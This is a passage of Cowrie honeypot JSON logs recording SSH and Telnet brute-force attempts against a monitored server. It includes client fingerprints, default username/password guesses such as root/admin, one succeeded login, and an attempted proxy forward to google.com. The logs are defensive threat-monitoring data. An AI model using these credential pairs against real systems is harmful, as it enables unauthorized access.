0","hmac-ripemd160@openssh.com","none"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 63ae64767f334c6a74647d80edb0291e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:56:23.559866Z","src_ip":"94.183.177.120","session":"06d73563cb56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"RPM","password":"RPM","message":"login attempt [RPM/RPM] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:56:23.906693Z","src_ip":"94.183.177.120","session":"06d73563cb56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39260,"dst_ip":"159.203.135.109","dst_port":22,"session":"e24966e8ad20","protocol":"ssh","message":"New connection: 159.203.92.129:39260 (159.203.135.109:22) [session: e24966e8ad20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:56:24.130692Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:56:24.134964Z","src_ip":"159.203.92.129","session":"e24966e8ad20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:56:24.138994Z","src_ip":"159.203.92.129","session":"e24966e8ad20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"123","message":"login attempt [administrator/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:56:24.149967Z","src_ip":"159.203.92.129","session":"e24966e8ad20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:56:24.995512Z","src_ip":"94.183.177.120","session":"06d73563cb56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:56:25.157345Z","src_ip":"159.203.92.129","session":"e24966e8ad20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.183.177.120","src_port":33422,"dst_ip":"159.203.135.109","dst_port":22,"session":"959cae5aa269","protocol":"ssh","message":"New connection: 94.183.177.120:33422 (159.203.135.109:22) [session: 959cae5aa269]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:56:28.891570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.10.0","message":"Remote SSH version: SSH-2.0-libssh2_1.10.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:56:28.979702Z","src_ip":"94.183.177.120","session":"959cae5aa269","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"63ae64767f334c6a74647d80edb0291e","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc,none;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com,none;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc","none"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com","none"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 63ae64767f334c6a74647d80edb0291e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:56:28.983663Z","src_ip":"94.183.177.120","session":"959cae5aa269","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sshd","password":"sshd","message":"login attempt [sshd/sshd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:56:29.241846Z","src_ip":"94.183.177.120","session":"959cae5aa269","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:56:30.330498Z","src_ip":"94.183.177.120","session":"959cae5aa269","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.183.177.120","src_port":33430,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec71cb66ffb1","protocol":"ssh","message":"New connection: 94.183.177.120:33430 (159.203.135.109:22) [session: ec71cb66ffb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:56:33.618607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.10.0","message":"Remote SSH version: SSH-2.0-libssh2_1.10.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:56:33.708440Z","src_ip":"94.183.177.120","session":"ec71cb66ffb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"63ae64767f334c6a74647d80edb0291e","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc,none;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com,none;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc","none"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com","none"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 63ae64767f334c6a74647d80edb0291e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:56:33.712329Z","src_ip":"94.183.177.120","session":"ec71cb66ffb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"monitor","password":"monitor","message":"login attempt [monitor/monitor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:56:33.987657Z","src_ip":"94.183.177.120","session":"ec71cb66ffb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:56:35.082279Z","src_ip":"94.183.177.120","session":"ec71cb66ffb1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.55.16","src_port":33924,"dst_ip":"159.203.135.109","dst_port":22,"session":"b613b915d0b5","protocol":"ssh","message":"New connection: 178.20.55.16:33924 (159.203.135.109:22) [session: b613b915d0b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:56:35.868739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_9.9","message":"Remote SSH version: SSH-2.0-OpenSSH_9.9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:56:36.610473Z","src_ip":"178.20.55.16","session":"b613b915d0b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1cc79c7da9b5d5eead2c60983332a556","hasshAlgorithms":"sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,3des-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","3des-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 1cc79c7da9b5d5eead2c60983332a556","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:56:36.615652Z","src_ip":"178.20.55.16","session":"b613b915d0b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.55.71","src_port":40708,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c79d0637b88","protocol":"ssh","message":"New connection: 198.98.55.71:40708 (10.17.0.5:22) [session: 5c79d0637b88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:56:38.712580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:56:38.717052Z","src_ip":"198.98.55.71","session":"5c79d0637b88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:56:38.722691Z","src_ip":"198.98.55.71","session":"5c79d0637b88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456Ly","message":"login attempt [root/123456Ly] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:56:38.775880Z","src_ip":"198.98.55.71","session":"5c79d0637b88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:56:39.783916Z","src_ip":"198.98.55.71","session":"5c79d0637b88","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d4:98:c4:f3:12:ef:3e:29:38:34:62:21:fd:99:ec:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdmvEhhfC8Hkqvut8spTxhahy1wKRJ/Bgy8HRDj6n+9EWntZc/L9zfjgReYfwWiZbNX5ziI4dv5lsUAMyCjbqxI4R0Vr5zoQf+YUrQ9nLwIjmkggnqPObpHoEz/n3xvNudIKXjWpEL3b5Be17y8vF01jzFc75asMXz5rLbYOi0EamMu5E+FxhaqNfMMasAkhpom4XfdF3/FZH41UTiaWhoZoPc8KcLJqotmlIZ/z04m0HI9w7l9l+wrUVuEGYbFTN4g3cCtDI21d4AH2JtIJkkKApW4ElLNGasOpid5lDWUHbhbrD4/6Um1u1SqyOmdKopIzkllPFqxJZMjwcw8f9v","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d4:98:c4:f3:12:ef:3e:29:38:34:62:21:fd:99:ec:ef","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:56:40.027405Z","src_ip":"178.20.55.16","session":"b613b915d0b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d4:98:c4:f3:12:ef:3e:29:38:34:62:21:fd:99:ec:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdmvEhhfC8Hkqvut8spTxhahy1wKRJ/Bgy8HRDj6n+9EWntZc/L9zfjgReYfwWiZbNX5ziI4dv5lsUAMyCjbqxI4R0Vr5zoQf+YUrQ9nLwIjmkggnqPObpHoEz/n3xvNudIKXjWpEL3b5Be17y8vF01jzFc75asMXz5rLbYOi0EamMu5E+FxhaqNfMMasAkhpom4XfdF3/FZH41UTiaWhoZoPc8KcLJqotmlIZ/z04m0HI9w7l9l+wrUVuEGYbFTN4g3cCtDI21d4AH2JtIJkkKApW4ElLNGasOpid5lDWUHbhbrD4/6Um1u1SqyOmdKopIzkllPFqxJZMjwcw8f9v","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:56:40.031279Z","src_ip":"178.20.55.16","session":"b613b915d0b5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:56:40.573109Z","src_ip":"178.20.55.16","session":"b613b915d0b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.111.209.101","src_port":60037,"dst_ip":"159.203.135.109","dst_port":23,"session":"840ccddf9aa8","protocol":"telnet","message":"New connection: 125.111.209.101:60037 (159.203.135.109:23) [session: 840ccddf9aa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:56:53.275498Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"google.com","dst_port":443,"src_ip":"178.20.55.16","src_port":35668,"message":"direct-tcp connection request to google.com:443 from 127.0.0.1:35668","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:56:59.794226Z","session":"b613b915d0b5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"google.com","dst_port":443,"ja4":"t12d3112h2_e8f1e7e78f70_64f78f54e6a2","message":"JA4 fingerprint for forwarded TLS to google.com:443: t12d3112h2_e8f1e7e78f70_64f78f54e6a2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:57:00.532419Z","src_ip":"178.20.55.16","session":"b613b915d0b5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"google.com","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03{<\\xd9\\x1b\\x12\\xf5`\\xa8l\\xd6\\x167.\\xcfK\\xd1\\x85x\\xffA\\x8f\\\\\\x03H\\xba\\x8c\\xcf\\xb6_\\x03=\\xbf NFO\\x95\\xfa\\x9a\\xd9\\x9dm\\xd7\\x01\\xaf\\xfd@Y\\xa3\\xa5\\xc5\\x99\\xc2\\x80\\x01\\xf5\\xde\\xee<\\xed\\xbd\\x92L\\xc3\\xd5\\x00>\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\x00\\x9f\\xcc\\xa9\\xcc\\xa8\\xcc\\xaa\\xc0+\\xc0/\\x00\\x9e\\xc0$\\xc0(\\x00k\\xc0#\\xc0'\\x00g\\xc0\\n\\xc0\\x14\\x009\\xc0\\t\\xc0\\x13\\x003\\x00\\x9d\\x00\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01u\\x00\\x00\\x00\\x0f\\x00\\r\\x00\\x00\\ngoogle.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x000\\x00.\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x02\\x03\\x03\\x01\\x02\\x01\\x03\\x02\\x02\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xd5\\x16~\\xfc\\xe4\\xeb\\x98b\\xf0\\xfcT3 \\x83n\\xd9U\\x84\\xf0\\x86\\x10\\x1et\\rr\\xf6\\x0b\\xdb\\xdd\\xde\\xd1-\\x00\\x15\\x00\\xbb\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to google.com:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03{<\\xd9\\x1b\\x12\\xf5`\\xa8l\\xd6\\x167.\\xcfK\\xd1\\x85x\\xffA\\x8f\\\\\\x03H\\xba\\x8c\\xcf\\xb6_\\x03=\\xbf NFO\\x95\\xfa\\x9a\\xd9\\x9dm\\xd7\\x01\\xaf\\xfd@Y\\xa3\\xa5\\xc5\\x99\\xc2\\x80\\x01\\xf5\\xde\\xee<\\xed\\xbd\\x92L\\xc3\\xd5\\x00>\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\x00\\x9f\\xcc\\xa9\\xcc\\xa8\\xcc\\xaa\\xc0+\\xc0/\\x00\\x9e\\xc0$\\xc0(\\x00k\\xc0#\\xc0'\\x00g\\xc0\\n\\xc0\\x14\\x009\\xc0\\t\\xc0\\x13\\x003\\x00\\x9d\\x00\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01u\\x00\\x00\\x00\\x0f\\x00\\r\\x00\\x00\\ngoogle.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x000\\x00.\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x02\\x03\\x03\\x01\\x02\\x01\\x03\\x02\\x02\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xd5\\x16~\\xfc\\xe4\\xeb\\x98b\\xf0\\xfcT3 